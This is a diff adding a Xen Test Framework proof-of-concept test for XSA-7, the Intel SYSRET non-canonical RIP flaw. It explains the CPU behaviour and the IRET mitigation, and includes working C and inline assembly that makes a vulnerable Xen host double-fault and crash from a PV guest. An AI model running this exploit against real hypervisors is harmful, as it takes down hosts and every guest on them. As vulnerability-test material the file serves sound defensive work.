|
| 1 | +/** |
| 2 | + * @file tests/xsa-7/main.c |
| 3 | + * @ref test-xsa-7 |
| 4 | + * |
| 5 | + * @page test-xsa-7 XSA-7 |
| 6 | + * |
| 7 | + * Advisory: |
| 8 | + * [XSA-7](https://lore.kernel.org/xen-devel/20439.12248.291249.667993@mariner.uk.xensource.com/) |
| 9 | + * |
| 10 | + * # Background |
| 11 | + * |
| 12 | + * Intel and AMD CPUs implement the SYSRET instruction differently. Relevant |
| 13 | + * to XSA-7 is the order of changing privilege and the canonical check on |
| 14 | + * @%rip. |
| 15 | + * |
| 16 | + * In x86_64 with 4-level paging, 0x0000800000000000 is a non-canonical |
| 17 | + * address but a legal state for @%rip, which can occur by executing an |
| 18 | + * instruction which ends on the lower canonical boundary. This state should |
| 19 | + * yield @#GP[0] for a bad instruction fetch, reporting the non-canonical |
| 20 | + * regs->rip. |
| 21 | + * |
| 22 | + * Exceptions taken in CPL0 push onto the current stack (IST vectors can |
| 23 | + * change stack, but @#GP is never typically IST), while exceptions at lower |
| 24 | + * privilege perform a normal privilege change including stack switch back to |
| 25 | + * CPL0. At the SYSCALL entry and SYSRET exit points, @%rsp is the user |
| 26 | + * stack, not the kernel stack. |
| 27 | + * |
| 28 | + * For the SYSRET instruction, at the time of writing (July 2025) AMD don't |
| 29 | + * explicitly identify where the @%rip canonical check is performed, but have |
| 30 | + * stated that it is after switching to CPL3. Therefore, AMD CPUs are not |
| 31 | + * vulnerable. |
| 32 | + * |
| 33 | + * The Intel SDM pseudocode for SYSRET does show the @%rip canonical check |
| 34 | + * being performed early and while in CPL0, and experimentation confirms that |
| 35 | + * Intel CPUs are vulnerable. The recommended fix is to fall back to using |
| 36 | + * IRET in this case. IRET takes @#GP[0] for a non-canonical @%rip in CPL0, |
| 37 | + * but does so on a kernel stack, so can handle the fault safely. |
| 38 | + * |
| 39 | + * P.S. Unrelated to XSA-7, but if an attacker can clear MSR_EFER.SCE, the |
| 40 | + * resulting @#UD from SYSRET can be used in the same way. |
| 41 | + * |
| 42 | + * |
| 43 | + * # PoC |
| 44 | + * |
| 45 | + * Crashing a vulnerable Xen is easy. Like @ref test-xsa-260, causing Xen to |
| 46 | + * use a non-canonical stack will escalate to @#DF. |
| 47 | + * |
| 48 | + * However, on a mitigated Xen the resulting @#GP needs handing back to the |
| 49 | + * guest. If the guest stack is bad, pushing the exception frame will fail |
| 50 | + * and the guest will be crashed, preventing a clean status report. |
| 51 | + * |
| 52 | + * Instead, use a good @%rsp in the same frame that holds the SYSCALL for the |
| 53 | + * attack run. If Xen has SMAP, there will be a clean @#DF (64bit PV guests |
| 54 | + * are always CPL3, so use _PAGE_USER mappings). |
| 55 | +
|
| 56 | + * If SMAP isn't active, Xen's @#GP handler will run on the provided stack, |
| 57 | + * including the top-of-stack block. To force a crash, poison the rest of the |
| 58 | + * page with `0xcc`, notably covering the `current` and `__per_cpu_offset` |
| 59 | + * top-of-stack fields, causing recursive @#GP faults. Eventually, Xen runs |
| 60 | + * off the bottom of the stack, finds an unmapped page, and escalates to a |
| 61 | + * clean @#DF, which does notice that it's on the wrong stack. |
| 62 | + * |
| 63 | + * A mitigated Xen will not run on the provided stack, but will deliver the |
| 64 | + * @#GP back to us on it. Almost 4k is plenty of space to handle the fault |
| 65 | + * and recover. |
| 66 | + * |
| 67 | + * @see tests/xsa-7/main.c |
| 68 | + */ |
| 69 | +#include <xtf.h> |
| 70 | + |
| 71 | +const char test_title[] = "XSA-7 PoC"; |
| 72 | + |
| 73 | +void stub(void); |
| 74 | + |
| 75 | +/* |
| 76 | + * A page to be mapped at the lower canonical boundary. The attack needs a |
| 77 | + * SYSCALL instruction at the end. The rest may be used as a stack by Xen, |
| 78 | + * including a top-of-stack block. Poison with 0xcc to to make the pointers |
| 79 | + * in the top-of-stack block be non-canonical. |
| 80 | + */ |
| 81 | +asm (".align 4096;" |
| 82 | + ".skip 4096 - (.L_page_end - stub), 0xcc;" |
| 83 | + |
| 84 | + "stub: " |
| 85 | + " syscall;" |
| 86 | + ".L_page_end:" |
| 87 | + |
| 88 | + _ASM_EXTABLE_HANDLER(0x0000800000000000, .L_stub_done, ex_gp) |
| 89 | + ); |
| 90 | + |
| 91 | +bool ex_gp(struct cpu_regs *regs, const struct extable_entry *ex) |
| 92 | +{ |
| 93 | + if ( regs->entry_vector == X86_EXC_GP && regs->error_code == 0 ) |
| 94 | + { |
| 95 | + regs->_rsp = regs->rdx; /* Restore %rsp from the xchg */ |
| 96 | + regs->ip = ex->fixup; |
| 97 | + |
| 98 | + return true; |
| 99 | + } |
| 100 | + |
| 101 | + return false; |
| 102 | +} |
| 103 | + |
| 104 | +void test_main(void) |
| 105 | +{ |
| 106 | + static intpte_t l3t[L1_PT_ENTRIES] __page_aligned_bss; |
| 107 | + static intpte_t l2t[L2_PT_ENTRIES] __page_aligned_bss; |
| 108 | + static intpte_t l1t[L3_PT_ENTRIES] __page_aligned_bss; |
| 109 | + |
| 110 | + intpte_t *l4t = _p(pv_start_info->pt_base); |
| 111 | + int rc; |
| 112 | + |
| 113 | + /* Map the page containing stub_fn at the lower canonical boundary. */ |
| 114 | + l1t[511] = pte_from_virt(stub, PF_SYM(AD, RW, P)); |
| 115 | + l2t[511] = pte_from_virt(l1t, PF_SYM(AD, RW, P)); |
| 116 | + l3t[511] = pte_from_virt(l2t, PF_SYM(AD, RW, P)); |
| 117 | + |
| 118 | + if ( hypercall_update_va_mapping( |
| 119 | + _u(l1t), pte_from_virt(l1t, PF_SYM(AD, P)), 0) ) |
| 120 | + return xtf_error("Error: Can't remap l1t as R/O\n"); |
| 121 | + if ( hypercall_update_va_mapping( |
| 122 | + _u(l2t), pte_from_virt(l2t, PF_SYM(AD, P)), 0) ) |
| 123 | + return xtf_error("Error: Can't remap l2t as R/O\n"); |
| 124 | + if ( hypercall_update_va_mapping( |
| 125 | + _u(l3t), pte_from_virt(l3t, PF_SYM(AD, P)), 0) ) |
| 126 | + return xtf_error("Error: Can't remap l3t as R/O\n"); |
| 127 | + |
| 128 | + mmu_update_t mu[] = { |
| 129 | + { |
| 130 | + .ptr = virt_to_maddr(&l4t[255]), |
| 131 | + .val = pte_from_virt(l3t, PF_SYM(AD, RW, P)), |
| 132 | + }, |
| 133 | + }; |
| 134 | + |
| 135 | + rc = hypercall_mmu_update(mu, ARRAY_SIZE(mu), NULL, DOMID_SELF); |
| 136 | + if ( rc ) |
| 137 | + return xtf_error("Error: mapping buffer failed: %d\n", rc); |
| 138 | + |
| 139 | + /* |
| 140 | + * The attack run uses SYSCALL, so executes one hypercall before getting |
| 141 | + * into trouble. Use XENVER_version for speed and to avoid side effects. |
| 142 | + * |
| 143 | + * Load the bad stack by XCHG-ing %rsp, so ex_gp() can recover the good |
| 144 | + * stack. Then jump to stub()'s alias beside the low canonincal boundary. |
| 145 | + */ |
| 146 | + register unsigned long r11 asm ("r11"); |
| 147 | + unsigned long tmp; |
| 148 | + asm volatile ( |
| 149 | + " xchg %[stk], %%rsp;" |
| 150 | + " jmp *%[stub];" |
| 151 | + ".L_stub_done:" |
| 152 | + : "=a" (tmp), "=D" (tmp), "=S" (tmp), /* Hypercall clobbers */ |
| 153 | + "=c" (tmp), "=r" (r11), /* SYSCALL clobbers */ |
| 154 | + [stk] "=&d" (tmp) /* XCHG clobber */ |
| 155 | + : "a" (__HYPERVISOR_xen_version), |
| 156 | + "D" (XENVER_version), |
| 157 | + "S" (NULL), |
| 158 | + [stub] "r" (_p(0x00007ffffffff000ULL) + (_u(stub) & ~PAGE_MASK)), |
| 159 | + "[stk]" (0x00007fffffffff00UL) |
| 160 | + ); |
| 161 | + |
| 162 | + /* |
| 163 | + * If we're still alive, Xen didn't crash, and ex_gp() (registered by the |
| 164 | + * non-canonical %rip) did trigger and fix up properly. |
| 165 | + */ |
| 166 | + xtf_success("Success: Not vulnerble to XSA-7\n"); |
| 167 | +} |
| 168 | + |
| 169 | +/* |
| 170 | + * Local variables: |
| 171 | + * mode: C |
| 172 | + * c-file-style: "BSD" |
| 173 | + * c-basic-offset: 4 |
| 174 | + * tab-width: 4 |
| 175 | + * indent-tabs-mode: nil |
| 176 | + * End: |
| 177 | + */ |
0 commit comments